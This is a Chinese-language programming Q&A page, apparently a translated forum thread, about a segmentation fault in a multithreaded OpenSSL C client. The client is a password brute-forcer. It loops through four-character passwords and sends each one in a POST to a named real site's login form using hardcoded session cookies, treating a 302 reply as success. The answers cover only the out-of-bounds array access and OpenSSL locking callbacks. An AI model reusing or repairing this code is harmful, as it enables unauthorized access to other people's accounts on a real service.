OpenSSL C多线程客户端分段故障

时间:2018-12-10 10:21:53

标签: c multithreading openssl segmentation-fault

我的一个多线程客户端有问题,这是完整的代码,基本上是蛮力的:

#include <unistd.h>
#include <sys/types.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

#define N 10
#define EXT ".txt"
#define BUFFER_SIZE 1024000
//#define CA_DIR "/home/Scrivania/SRBF/mycert"

#define SIZE 67


char * letters[SIZE] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z",
                       "a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
                        ".","_","1","2","3","4","5","6","7","8","9","0","!","@","$"};

char * word4[] = {"A","A","A","A"};


int isMatch(char * buffer)
{
  if(buffer == NULL)
  {
    return 0;
  }
  strtok(buffer, " ");
char * tok = strtok(NULL," ");
if(tok == NULL)
{
  return 0;
}
  if(strcmp(tok, "302") == 0)
  {
    return 1;
  }
 return 0;
}

void init_openssl()
{
  SSLeay_add_ssl_algorithms();
  SSL_load_error_strings();
  SSL_library_init();
  ERR_load_BIO_strings();
  OpenSSL_add_all_algorithms();
}

BIO * connect_encrypted(char * host_and_port, SSL_CTX** ctx, SSL ** ssl)
{
  BIO * bio = NULL;

  *ctx = SSL_CTX_new(TLS_client_method());
  *ssl = NULL;
/*  int r = 0;
 r = SSL_CTX_load_verify_locations(*ctx, NULL , CA_DIR);
  if(r == 0)
  {
    return NULL;
  }*/
  bio = BIO_new_ssl_connect(*ctx);
  BIO_get_ssl(bio, ssl);

   SSL_set_mode(*ssl, SSL_MODE_AUTO_RETRY);

  BIO_set_conn_hostname(bio, host_and_port);

   if(BIO_do_connect(bio)< 1)
   {
     fprintf(stderr,"Unable to connect BIO. %s", host_and_port);
     return NULL;
   }

return bio;
}

int write_to_stream(BIO* bio, char * buffer, ssize_t length)
{
  ssize_t r = -1;

  while(r <= 0)
  {
    r = BIO_write(bio, buffer, length);

  }
  return r;
}

ssize_t read_from_stream(BIO * bio, char * buffer, ssize_t  length)
{
  ssize_t r = -1;

  while(r <= 0)
  {
    r = BIO_read(bio, buffer, length);
  }

  return r;
}

char * username;
char * usrp;
char * pwdp;
char * uri;

void SendRequest(char * word)
{

    char * host_and_port = "site.com:443";
    char * server_request = malloc(sizeof(char)*BUFFER_SIZE);
    char * buffer = malloc(sizeof(char)*BUFFER_SIZE);
    int r = 0;
    int r2 = 0;
    sprintf(server_request, "POST %s HTTP/1.1\r\n"
                            "Host: www.annunci69.it\r\n"
                            "Cookie:__cfduid=d559ac43d2cc4e294b93e14699ab4f0071544273037; PHPSESSID=qjjrvg2j6nq2babbn1am3itac5; A69_regione=Sicilia; Doublech=1956935; A69_becomeavip=1; A69_onlinetimes=2; A69_tipsMASTER=1; A69_tips[listabannati]=listabannati; getgeo=1\r\n"
                            "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1\r\n"
                            "Content-Type: application/x-www-form-urlencoded\r\n"
                            "Content-Length: 44\r\n"
                            "Connection: close\r\n"
                            "\r\n"
                            "%s=%s&%s=%s&login=Entra", uri, usrp, username, pwdp, word);


    BIO * bio;
    SSL_CTX * ctx = NULL;
    SSL * ssl = NULL;

    if ((bio = connect_encrypted(host_and_port, &ctx, &ssl)) == NULL)
      {
        fprintf(stderr, "Error in connect\n");
        exit(EXIT_FAILURE);
      }

  while(r <= 0)
  {
   r = write_to_stream(bio, server_request, strlen(server_request));
  }
  while(r2 <= 0)
  {
   r2 = read_from_stream(bio, buffer, BUFFER_SIZE);
  }

SSL_CTX_free(ctx);
free(server_request);
if(isMatch(buffer) == 1)
{
  printf("Password -> %s", word);
  exit(EXIT_SUCCESS);
}
free(buffer);
}



_Bool passaggio1(char * word[], int n)
{
for(int i = 0; i < SIZE; i++)
{
for(int j = 0, c = 0; j < n; j++)
  {
  if(word[j] == letters[i])
  {
    c++;
    if(c > 3)
    {
      return 1;
    }
  }

  }
}
return 0;

}
char *lastword[12];

_Bool passaggio2(char *word[], int n)
{
  int count = 0;

  for(int i = 0; i <= n; i++)
  {
    if(lastword[i] == word[i])
    {
      count++;
    }
  }

  if(count > n-2)
  {
    return 1;
  }
  return 0;
}

int Write(char * word[], char * buffer, int n)
{
if(passaggio1(word, n) == 1 || passaggio2(word, n) == 1)
    {
      return 1;
    }
for(int i = 0; i <= n; i++)
  {
   if(i == 0)
   {
    strcpy(buffer,word[i]);
   }
   strcat(buffer, word[i]);
   lastword[i] = word[i];
  }
  return 0;
}


void four_Digits(char * word[], char * letters[])
{
for(int i = 0; i < SIZE; i++)
{
  word[0] = letters[i];
  for(int j = 0; j < SIZE ;j++)
    {
      word[1] = letters[j];
      for(int k = 0; k < SIZE; k++)
      {
        word[2] = letters[k];
        for(int l = 0; l < SIZE;l++)
        {
          word[3] = letters[l];
          char * buffer = malloc(sizeof(char)*64);
          if((Write(word,  buffer, 3)) == 0)
          {
            printf("Trying: %s\n", buffer);
            SendRequest(buffer);
          }
          free(buffer);
        }
      }
    }
  }
}


void * handler1(void * args)
{
    four_Digits(word4, letters);
    pthread_exit(0);
}


int main(int argc, char * argv[])
{/*
  if(argc < 2)
  {
    fprintf(stderr ,"\nUsage: srbf username \n");
    exit(EXIT_FAILURE);
  }*/
  username = "username"; //argv[1];

  uri = malloc(sizeof(char)*32);
  usrp = malloc(sizeof(char)*16);
  pwdp = malloc(sizeof(char)*16);

  printf("Insert URI\n");
  scanf("%s", uri);
  printf("Insert username parameter\n");
  scanf("%s", usrp);
  printf("Insert password parameter\n");
  scanf("%s", pwdp);

 int res;
 pthread_t tid;

 init_openssl();

  res = pthread_create(&tid,NULL, handler1,0);
  if(res != 0)
  {
    fprintf(stderr,"Thread Creation Failed\n");
    exit(EXIT_FAILURE);
  }


  res = pthread_join(tid, 0);
  if(res != 0)
  {
    fprintf(stderr, "Thread join failed\n");
    exit(EXIT_FAILURE);
  }

free(uri);
free(usrp);
free(pwdp);
exit(EXIT_SUCCESS);
}

当我执行gdb main时,程序会正常运行几秒钟,然后出现以下错误,导致分段错误:

Thread 10 "main" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffedffb700 (LWP 13328)]
0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1, count=17, 
    fp=0x55555555834e) at iofwrite.c:37
37  iofwrite.c: File or directory not existing.

然后我输入命令bt,这就是我得到的:

#0  0x00007ffff71628e0 in __GI__IO_fwrite (buf=0x5555555585ff, size=1, 
    count=17, fp=0x55555555834e) at iofwrite.c:37
#1  0x0000555555556127 in SendRequest ()
#2  0x00005555555569cd in twelve_Digits ()
#3  0x0000555555557d43 in handler9 ()
#4  0x00007ffff74db6db in start_thread (arg=0x7fffedffb700)
    at pthread_create.c:463
#5  0x00007ffff720488f in clone ()
    at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

我发布了完整的代码,原因是我真的很困惑,我无法理解此错误,有人可以帮助我吗?它与OpenSSL有关吗?我需要更改什么?如有必要,我将提供更多信息。

2 个答案:

答案 0 :(得分:0)

您有很多不确定的行为。 只是一个例子:

您的函数seven_Digits访问作为第一个参数传递的数组的7个元素。

但是您只能传递带有4个字符串的数组:

char * word4[] = {"A","A","A","A"};
...
seven_Digits(word4, letters);

这是超出范围的访问,导致未定义的行为。

使用相同数组调用其他函数的其他处理程序的行为类似。

答案 1 :(得分:0)

如果将openssl与多线程一起使用,则必须处理批评部分。

声明一些全局变量

int number_of_locks = 0;
ssl_lock *ssl_locks = nullptr;

使用CRYPTO_num_locks()

获取锁数
number_of_locks = CRYPTO_num_locks();
if(number_of_locks > 0)
{
    ssl_locks = (ssl_lock*)malloc(number_of_locks * sizeof(ssl_lock));
    for(int n = 0; n < number_of_locks; ++n)
        InitializeCriticalSection(&ssl_locks[n]);
}

初始化回调函数名称

CRYPTO_set_locking_callback(&ssl_lock_callback);
CRYPTO_set_dynlock_create_callback(&ssl_lock_dyn_create_callback);
CRYPTO_set_dynlock_lock_callback(&ssl_lock_dyn_callback);
CRYPTO_set_dynlock_destroy_callback(&ssl_lock_dyn_destroy_callback);

实现它们

void ssl_lock_callback(int mode, int n, const char *file, int line)
{
    if(mode & CRYPTO_LOCK)
        EnterCriticalSection(&ssl_locks[n]);
    else
        LeaveCriticalSection(&ssl_locks[n]);
}

CRYPTO_dynlock_value* ssl_lock_dyn_create_callback(const char *file, int line)
{
    CRYPTO_dynlock_value *l = (CRYPTO_dynlock_value*)malloc(sizeof(CRYPTO_dynlock_value));
    InitializeCriticalSection(&l->lock);
    return l;
}

void ssl_lock_dyn_callback(int mode, CRYPTO_dynlock_value* l, const char *file, int line)
{
    if(mode & CRYPTO_LOCK)
        EnterCriticalSection(&l->lock);
    else
        LeaveCriticalSection(&l->lock);
}

void ssl_lock_dyn_destroy_callback(CRYPTO_dynlock_value* l, const char *file, int line)
{
    DeleteCriticalSection(&l->lock);
    free(l);
}